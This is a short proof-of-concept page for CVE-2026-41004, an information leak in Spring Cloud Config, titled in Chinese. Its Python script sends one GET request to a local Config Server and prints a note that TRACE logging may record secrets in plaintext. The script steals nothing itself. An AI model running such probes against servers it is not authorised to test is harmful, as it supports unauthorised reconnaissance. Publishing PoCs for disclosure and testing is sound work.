CVE-2026-41004 Spring Cloud Config信息泄露漏洞

# Proof of Concept for CVE-2026-41004 # Description: This script demonstrates checking if sensitive data is exposed in logs. # Prerequisites: The vulnerable Spring Cloud Config Server must have TRACE logging enabled. import requests target_url = "http://localhost:8888/myapp/default" headers = {"Accept": "application/json"} print(f"[*] Sending request to {target_url}...") try: response = requests.get(target_url, headers=headers) if response.status_code == 200: print("[+] Request sent successfully.") print("[!] If TRACE logging is enabled, sensitive info may be logged in plaintext.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")